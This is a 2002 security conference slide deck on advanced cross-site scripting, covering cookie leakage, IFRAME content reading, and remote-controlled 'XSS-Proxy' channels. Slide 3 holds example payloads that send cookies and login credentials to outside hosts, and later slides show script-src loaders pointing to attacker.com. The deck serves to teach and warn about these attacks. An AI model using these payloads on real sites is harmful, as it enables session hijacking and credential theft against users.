Advanced Cross Site Scripting Evil XSS

1. Advanced Cross Site Scripting Evil XSS

Anton Rager
Copyright© 2002 Avaya Inc. All rights reserved

2. Cross Site Scripting

• 1st Gen XSS was against public sites and ran against everyone that
visited site
– attacker uploads script content that everyone visiting page
execs
– Popups, redirects other annoyances
– Relayed cookies to attacker
• 2nd Gen XSS focuses on sites that allow self-reflection XSS
– User input modifies resulting page and can inject script
commands into returned page (site search and echoed results)
– Normally chained with a 1st Gen attack on public site/email for
site redirection with redirection URL forcing a XSS on 2nd site
– Cookies and other site-specific browser info leaked to attacker
2

3. Cross Site Scripting

• Types of information leakage
– Client can reveal cookies to 3rd party (session state, order info, etc)
• http://host/a.php?variable="><script>document.location='http://www.cgise
curity.com/cgi-bin/cookie.cgi?
'%20+document.cookie</script>
– Client can reveal posted form items to 3rd party (userID/passwd, etc)
• <form> action="logoninformation.jsp" method="post"
onsubmit="hackImg=new Image;
hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.val
ue'+':'+ document.forms(1).password.value;" </form>
– Client can be tricked into accessing/posting spoofed info to trusted
server
• www.trustedserver.com/xss.asp?name = <iframe
src=http://www.trustedserver.com/auth_area/orderupdate?items=4000></if
rame>
– Client can be tricked into attacking other sites
• /hello.asp?name = <iframe
src=http://vuln.iis.server/scripts/root.exe?/c+dir></iframe>
3

4. Cross Site Scripting (XSS)

Client redirected to
site via email/other
XSS site
Target
Client
Single Client Reflection
client sends request to
server with XSS tags
Server sends response
with XSS “commands”
Private
display
Update page with
XSS tags
Client executes XSS to 3rd
party, server or both
(Info Leak / Trust Leverage)
Attacker
Server
Attacking
Client
Server with
XSS reflection
Client requests page
Other
Clients
Multi Client Reflection
Server sends response
with XSS commands
Client executes XSS to 3rd
party, server or both
(Info Leak / Trust Leverage /
Client Redirection)
Server with
XSS reflection
Public
display
Attacker
Server
4

5. Limitations of these attacks

• Usually only get one transaction with XSS code against
vulnerable site
• Most attacks are only focused on collecting cookies
• POST based forms are seldom leveraged – almost
always use GET methods
• Attacker does not know actual responses to client
– Some experts recommend using POST, hidden form
inputs and other session state info to limit XSS risks….
5

6. DOM Security Overview

• Child Windows and same site trust
• Scripts can interact between the two windows
• Script content can be loaded from anywhere
(RPC/Remote scripting is common)
• Images can be loaded from anywhere
• Javascript can either be within <script></script> tags,
loaded elsewhere via <script src=remote.com>, or
attacked to many tags <img
src=javascript….onload=javascript>
• Form GET/POST can be to another site or a javascript
action
• XSS allows DOM abuse, but still follows DOM rules
6

7. IntraWindow/IFRAME Impacts

• Script can read all HTML content/tags in other window
• Script can set/delete tags/content in other window. We can read
and set form values, then run a submit()
• Script can set vars and call functions in other window
• Document.write can allow script to create new tags/content in
other window
• This means that a script can read all HTML contents of a
document, change the appearance of the document, modify exiting
tags/and values, modify and submit forms. We have full control of
the other window as long it’s in same document.domain
• If we can forward cookies, then we can also forward other jscript
accessible content to an attacker. We can forward page contents,
form values (including hidden…) jscript vars/state, jscript errors.
7

8. Load/Read/Forward Overview

• DOM security allows a script to interact with windows it creates if they are
still within the same document.domain (same site, same protocol, same
port number). DOM security should block script access to documents
outside the document.domain of the script (document that loaded it)
• We create a new window and set the location to the same site that we can
already XSS – some other directory/or document on same site
– Can either use a new window created by XSS or an inline frame
<IFRAME>
– Popup blockers make script based window creation harder, but
<IFRAME> still works and can be treated like another window
• If the DOM security is met when we open content (same site…), then we
can read/write to the new window.
• We just need some glue to open a list of documents, read the contents
and forward the results somewhere – our code will run in original window,
documents will be loaded in IFRAME/child window, and our code will be
able to read/write the document in the IFRAME
8

9. Static XSS content leakage (IFRAME)

XSS Vulnerable Server
Victim Browser
XSS against site
Script commands run here
IFRAME
Other documents on
site loaded into here
<img src=“attacker.com/innerHTML_of_IFRAME”>
Attacker System
9

10. XSS and intrawindow trust

• A complex XSS vector could load multiple pages,
handle GET and POST submits, determine jscript vars
and modify page contents with content in other window
• We can leak contents of pages, form values, results
from submits and jscript vars as URL parameters with
<img> <script> and other tag refs to attacker site
• Downside is that it’s not interactive and we have to
hardcode actions that will work for all XSS victims
10

11. Controlled XSS – RPC based

• We can load external script with a <script src=xxx> tag
• This can be used to leak document/var info (like the
common cookie leakage with <img>) and if we supply
script contents back they will be executed. We have a
two way channel – victim leaks info to us and we can
tell victim what to do next all in the same request.
• This can simplify the initial XSS vector to a simple
<script src=http://attacker.com/evilscript.js> that loads
the more complex script remotely
• This also allows script contents to be customized or
updated as attacker learns more about specific
site/victims
11

12. Dynamic XSS with 2way comms (IFRAME)

XSS Vulnerable Server
Victim Browser
Script commands run here
XSS against site
<script src=“attacker.com”>
IFRAME
Other documents on
site loaded into here
New jscript….
Attacker System
<script src=“attacker.com/innnerHTML_of_IFRAME”>
12

13. Advanced XSS - Hiding IP/location of attack host

• Uses 1 XSS site for controlling window
• 3 IFRAMEs in main window
– 1 for load/read on original XSS site (normal XSS-Proxy)
– 1 for loading second XSS site with special vector (+subIframe)
– 1 for communications channel
• Still have capability to load/read docs of that XSS site in IFRAME1
• New site gets loaded into IFRAME2 and creates another IFRAME within for
loading docs on site2
• IFRAME3 becomes a covert channel by having site change current location to
point to a URL that will 404. URL is actually the covert contents and gives
control to the other site for next redirect of IFRAME3.
• Site1 gets commands from remote attacker, sets IFRAME3 to site2 URL with
commands in URL.
• Site2 has control of IFRAME3, so reads the current location to determine
commands/tasks to run. Upon completion of tasks, Site2 changes IFRAME3 to
Site1 location and leaks results on new URL. Site1 now has control, so reads
URL, forwards results to remote attacker, and gives new commands across
IFRAME3
13

14. Visual – Window based and IFRAME based

XSS Site1 Server
Victim Browser
XSS against site
Script commands run here
IFRAME1
Site1 documents
loaded into here
IFRAME2
“Channel” – set to
other site with info in
URL (404)
IFRAME3
XSS
Attacker System
Script
Site2 documents
loaded into here
XSS Site1 Server
14

15. Controlled XSS impacts

• Read/Set arbitrary variables
• Read/Set contents of documents (and forms)
• Form submission (POST/GET)
• Possible to download binary content (XMLHTTP)
• Leverage non-cookie based trusts – potential escalation of privs
• HTTP Proxy capabilities to remote site? (XMLHTTP)
• Browser Zombies
• MITM when user goes to one of our XSS controlled sites
• DDoS potential
• Transfer victim to other XSS vulnerable sites
• Masqueraded site hacking – Nikto via XSS?
• Cross Site Request Forging (CSRF)
• CSRF + XSS Fuzz with validation
• A Giant Jscript cluster
15

16. Implications

• How do you know if you have XSSWare running?
• How much do you trust the site you are logged into?
• Do you know if the responses from a site are actually
the site, or XSSWare MITMing you?
• If you are running a site, how do you know that a
specific browser is actually the attacker?
16

17. More Info

• Xss-proxy and slides
– http://sourceforge.net/projects/xss-proxy
• Anton Rager – [email protected]
17